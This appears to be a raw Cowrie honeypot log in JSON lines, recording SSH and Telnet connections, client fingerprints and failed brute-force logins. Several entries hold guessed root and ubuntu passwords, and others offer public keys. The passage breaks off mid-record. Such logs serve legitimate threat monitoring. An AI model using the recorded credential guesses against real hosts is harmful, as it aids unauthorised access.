{"eventid":"cowrie.login.failed","username":"root","password":"QWer1234","message":"login attempt [root/QWer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:30:58.331333Z","src_ip":"182.253.156.184","session":"540f53d0d05a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:30:59.580899Z","src_ip":"182.253.156.184","session":"540f53d0d05a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":59408,"dst_ip":"10.17.0.5","dst_port":22,"session":"0bb9bbde5660","protocol":"ssh","message":"New connection: 5.182.83.231:59408 (10.17.0.5:22) [session: 0bb9bbde5660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:31:43.661417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:31:43.665976Z","src_ip":"5.182.83.231","session":"0bb9bbde5660","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:31:43.780479Z","src_ip":"5.182.83.231","session":"0bb9bbde5660","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"supersecret","message":"login attempt [root/supersecret] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:31:44.251923Z","src_ip":"5.182.83.231","session":"0bb9bbde5660","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:31:45.366804Z","src_ip":"5.182.83.231","session":"0bb9bbde5660","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":59882,"dst_ip":"159.203.135.109","dst_port":22,"session":"8aa8d7952aaf","protocol":"ssh","message":"New connection: 62.133.63.178:59882 (159.203.135.109:22) [session: 8aa8d7952aaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:32:10.728374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:32:10.733270Z","src_ip":"62.133.63.178","session":"8aa8d7952aaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:32:10.849959Z","src_ip":"62.133.63.178","session":"8aa8d7952aaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11031991","message":"login attempt [root/11031991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:32:11.202150Z","src_ip":"62.133.63.178","session":"8aa8d7952aaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.33.115","src_port":33986,"dst_ip":"10.17.0.5","dst_port":22,"session":"d35df3b3f7c2","protocol":"ssh","message":"New connection: 191.101.33.115:33986 (10.17.0.5:22) [session: d35df3b3f7c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:32:11.462921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:32:11.467976Z","src_ip":"191.101.33.115","session":"d35df3b3f7c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:32:11.504139Z","src_ip":"191.101.33.115","session":"d35df3b3f7c2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4d:9f:2a:ad:2f:5c:bb:f3:12:87:34:b1:b4:8c:c6:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDX5ZlYIjEQub1Mc+qYvcOKQsNCtpDCB8VyApLrkfixwGepWR/zEFH9vbLD9L26cAIFfDZRrUntHqobOnvLuqOhOngcCvlk9023ih6QxF4rH1z7HvaRdjIr3x/XPUCCH261/3md3I9etounyCMFiGC6unbrQKHmLsc7srwjT8mdiwtdI/Ca4xaI9zbxAjFs5PSFwhvbjuZs/9Nikg1vf3a3/EYfrVdQFDb8w6l3n1vwZ/RcPRWUL1eMIKQSf8URRSorPuudElgJRACHoM3icwqGx29fi4WR8FqIk6sGIWlGaOkuJnNPxdZewMa45P+fgKhzNCiPHdQyfz3fKb/bVbUvannaPljZDdhrIaejfXBSYhfNZ4QsqZ4GBLsSZ73qI5j9j9AvqqMLI2jqk42ikSdGxgjoUZCOGuKIxEG3w4/kQv6Lce8YQ481c1bz5Ff/SdKq37dyoduX7+qTdOYY9TM9adt9xsgQ7koIBljcl4wUX30apTqLKYMuw7qAqPt0PUU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4d:9f:2a:ad:2f:5c:bb:f3:12:87:34:b1:b4:8c:c6:12","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:32:11.641317Z","src_ip":"191.101.33.115","session":"d35df3b3f7c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4d:9f:2a:ad:2f:5c:bb:f3:12:87:34:b1:b4:8c:c6:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDX5ZlYIjEQub1Mc+qYvcOKQsNCtpDCB8VyApLrkfixwGepWR/zEFH9vbLD9L26cAIFfDZRrUntHqobOnvLuqOhOngcCvlk9023ih6QxF4rH1z7HvaRdjIr3x/XPUCCH261/3md3I9etounyCMFiGC6unbrQKHmLsc7srwjT8mdiwtdI/Ca4xaI9zbxAjFs5PSFwhvbjuZs/9Nikg1vf3a3/EYfrVdQFDb8w6l3n1vwZ/RcPRWUL1eMIKQSf8URRSorPuudElgJRACHoM3icwqGx29fi4WR8FqIk6sGIWlGaOkuJnNPxdZewMa45P+fgKhzNCiPHdQyfz3fKb/bVbUvannaPljZDdhrIaejfXBSYhfNZ4QsqZ4GBLsSZ73qI5j9j9AvqqMLI2jqk42ikSdGxgjoUZCOGuKIxEG3w4/kQv6Lce8YQ481c1bz5Ff/SdKq37dyoduX7+qTdOYY9TM9adt9xsgQ7koIBljcl4wUX30apTqLKYMuw7qAqPt0PUU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:32:11.645261Z","src_ip":"191.101.33.115","session":"d35df3b3f7c2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cb:29:77:b2:92:24:c1:8a:96:09:64:6e:f5:98:15:d4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwr9qOmoBggsu5PcQ7In+z0D+PlThWMtguIWOeRp4Kr0VyMEK2cCEI1Y5cwUlKnjwuzZoxDobhmGYJ0oOZWFcdD/r9XMCHVbuLQOBuvK4LuOyKg1P3VTW5eg1iaFF0NM4oIYInHCUoZmmheeFm6vQzLn1j/lR9fKnvcSrong4NeInWEdNvklAVMprPJhJZUA8n02G57uAv4xZwE7yH5lKHFdI5TjrcXiioeyC7GytzGSjPSEEzJHHIpmpLnGkw2rcRzouZ7OtP43C/w3y8wSaVssVy7QWJiVFllGA583yrNwWgerGVJKCv6cpZPSfH2SnpHVe6ILe7/XAlXOnaHQ9kQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cb:29:77:b2:92:24:c1:8a:96:09:64:6e:f5:98:15:d4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:32:11.681533Z","src_ip":"191.101.33.115","session":"d35df3b3f7c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cb:29:77:b2:92:24:c1:8a:96:09:64:6e:f5:98:15:d4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwr9qOmoBggsu5PcQ7In+z0D+PlThWMtguIWOeRp4Kr0VyMEK2cCEI1Y5cwUlKnjwuzZoxDobhmGYJ0oOZWFcdD/r9XMCHVbuLQOBuvK4LuOyKg1P3VTW5eg1iaFF0NM4oIYInHCUoZmmheeFm6vQzLn1j/lR9fKnvcSrong4NeInWEdNvklAVMprPJhJZUA8n02G57uAv4xZwE7yH5lKHFdI5TjrcXiioeyC7GytzGSjPSEEzJHHIpmpLnGkw2rcRzouZ7OtP43C/w3y8wSaVssVy7QWJiVFllGA583yrNwWgerGVJKCv6cpZPSfH2SnpHVe6ILe7/XAlXOnaHQ9kQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:32:11.685629Z","src_ip":"191.101.33.115","session":"d35df3b3f7c2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"31:33:1f:57:9f:d9:87:3c:d1:ab:21:a5:52:e8:79:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD0Em3jFFNNE5BUX7Ru0PSbAPw9ZwAab9i7wytGojJKm/b31l+Oo58NkNT3klQrbne2OMLUUazOkuxOLS8Y2Au8R7Kdm382ZmO4W1FimxlzSIqej58PX/C4VcGwTeW/pUoBwTTIUJpb9HMI1Y78gXwbXcpc//hoyaIqh87CrGEtAQUAPZvtptGDcqqVVXUDOcg1AMEtn0EXzzZOW1UrVvg2ItewIcjhsSHlG+Ea2cgF2hseJCc1+N3f9tuSlO7tadbBeHr470lS9tEGP9NBEWTEufMVf/wS82jGNe5QJpKDntUAcQ0AZB02Qu1SSxVfoMF3itPDlwrCqqAGxfhBOmsT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 31:33:1f:57:9f:d9:87:3c:d1:ab:21:a5:52:e8:79:a7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:32:11.718794Z","src_ip":"191.101.33.115","session":"d35df3b3f7c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"31:33:1f:57:9f:d9:87:3c:d1:ab:21:a5:52:e8:79:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD0Em3jFFNNE5BUX7Ru0PSbAPw9ZwAab9i7wytGojJKm/b31l+Oo58NkNT3klQrbne2OMLUUazOkuxOLS8Y2Au8R7Kdm382ZmO4W1FimxlzSIqej58PX/C4VcGwTeW/pUoBwTTIUJpb9HMI1Y78gXwbXcpc//hoyaIqh87CrGEtAQUAPZvtptGDcqqVVXUDOcg1AMEtn0EXzzZOW1UrVvg2ItewIcjhsSHlG+Ea2cgF2hseJCc1+N3f9tuSlO7tadbBeHr470lS9tEGP9NBEWTEufMVf/wS82jGNe5QJpKDntUAcQ0AZB02Qu1SSxVfoMF3itPDlwrCqqAGxfhBOmsT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:32:11.723694Z","src_ip":"191.101.33.115","session":"d35df3b3f7c2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"11:75:48:b2:32:a9:db:1f:43:e7:70:55:00:87:1f:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDnWAE4Ci8Wp+xGYx6eVNwOvj4yWBfuiidsjzKr9goZ7WoWfxQ1TKmY6PwwJSm2LxQO/icDkM81ZTsebuUpiIjN2ni+LBSWvJ7oE6ClbaXWQg5l3MA78JCsdv+pHCcyXjwfwiYbJN2UlnRl6FVuKN41ewuGB8o3UgaTxpcEAe4QG+95RM8pni7bH/7aAuIq7MSgMRjEGppyvhssoTX85PwCsahO7IVJe0smqOBCD5s2bbswxSmKKWV6fkteFYdEXdOS5CgNnSrn7oU2Y9cMeCivMs/isb7YJEOXazhgfMN4jC4cAZvqpQdBuYr7Ccdx0dDl22LuFwT7sIKyWuUM0uNN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 11:75:48:b2:32:a9:db:1f:43:e7:70:55:00:87:1f:97","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:32:11.758662Z","src_ip":"191.101.33.115","session":"d35df3b3f7c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"11:75:48:b2:32:a9:db:1f:43:e7:70:55:00:87:1f:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDnWAE4Ci8Wp+xGYx6eVNwOvj4yWBfuiidsjzKr9goZ7WoWfxQ1TKmY6PwwJSm2LxQO/icDkM81ZTsebuUpiIjN2ni+LBSWvJ7oE6ClbaXWQg5l3MA78JCsdv+pHCcyXjwfwiYbJN2UlnRl6FVuKN41ewuGB8o3UgaTxpcEAe4QG+95RM8pni7bH/7aAuIq7MSgMRjEGppyvhssoTX85PwCsahO7IVJe0smqOBCD5s2bbswxSmKKWV6fkteFYdEXdOS5CgNnSrn7oU2Y9cMeCivMs/isb7YJEOXazhgfMN4jC4cAZvqpQdBuYr7Ccdx0dDl22LuFwT7sIKyWuUM0uNN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:32:11.763263Z","src_ip":"191.101.33.115","session":"d35df3b3f7c2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"02:7b:c5:cf:83:83:79:54:4d:8e:9c:08:22:b0:a9:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqDCBAPu3KNEzAGPJ72homRRbCaM7RSHrQlAVMgvBLw5WihIAUA3pdfOrZyGgxLVeL9VOB/sOp7gUedlRlqIuXnRDzaownBOEUQ9C0+h1tzwBJAOV0VSxzH5OnJ9tUgTHM5mERyaW6Fv6I/BqrJllvc/Rg7MCUSih+5hwFiH/l5d5dSb7F6u1olcaOXOPNUEC5FAUO60n1Ns/l2Tt8xpLhgV7P46af5XSxS2JyhhHiOUsTt2ky8Dn44STROD+Cx4vRVxhXHwKBtjqWbHNj2vzOhF6kWThlVEiTEmrdyOxHUgGCWcfkzfUvZJKGaRZjyHNbwnBFYAfY95x9m8EVCrSh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 02:7b:c5:cf:83:83:79:54:4d:8e:9c:08:22:b0:a9:37","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:32:11.797288Z","src_ip":"191.101.33.115","session":"d35df3b3f7c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"02:7b:c5:cf:83:83:79:54:4d:8e:9c:08:22:b0:a9:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqDCBAPu3KNEzAGPJ72homRRbCaM7RSHrQlAVMgvBLw5WihIAUA3pdfOrZyGgxLVeL9VOB/sOp7gUedlRlqIuXnRDzaownBOEUQ9C0+h1tzwBJAOV0VSxzH5OnJ9tUgTHM5mERyaW6Fv6I/BqrJllvc/Rg7MCUSih+5hwFiH/l5d5dSb7F6u1olcaOXOPNUEC5FAUO60n1Ns/l2Tt8xpLhgV7P46af5XSxS2JyhhHiOUsTt2ky8Dn44STROD+Cx4vRVxhXHwKBtjqWbHNj2vzOhF6kWThlVEiTEmrdyOxHUgGCWcfkzfUvZJKGaRZjyHNbwnBFYAfY95x9m8EVCrSh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:32:11.802468Z","src_ip":"191.101.33.115","session":"d35df3b3f7c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:32:11.836537Z","src_ip":"191.101.33.115","session":"d35df3b3f7c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:32:12.323117Z","src_ip":"62.133.63.178","session":"8aa8d7952aaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":49416,"dst_ip":"159.203.135.109","dst_port":23,"session":"49795a79e7bc","protocol":"telnet","message":"New connection: 79.139.59.21:49416 (159.203.135.109:23) [session: 49795a79e7bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:32:34.017623Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.156.184","src_port":58496,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6d4382b6cf0","protocol":"ssh","message":"New connection: 182.253.156.184:58496 (159.203.135.109:22) [session: a6d4382b6cf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:32:34.404634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:32:34.410738Z","src_ip":"182.253.156.184","session":"a6d4382b6cf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:32:34.659346Z","src_ip":"182.253.156.184","session":"a6d4382b6cf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:32:35.659713Z","src_ip":"182.253.156.184","session":"a6d4382b6cf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:32:36.910395Z","src_ip":"182.253.156.184","session":"a6d4382b6cf0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":51754,"dst_ip":"10.17.0.5","dst_port":22,"session":"bbfc02b3063b","protocol":"ssh","message":"New connection: 176.32.39.21:51754 (10.17.0.5:22) [session: bbfc02b3063b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:32:48.740444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:32:48.749244Z","src_ip":"176.32.39.21","session":"bbfc02b3063b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-n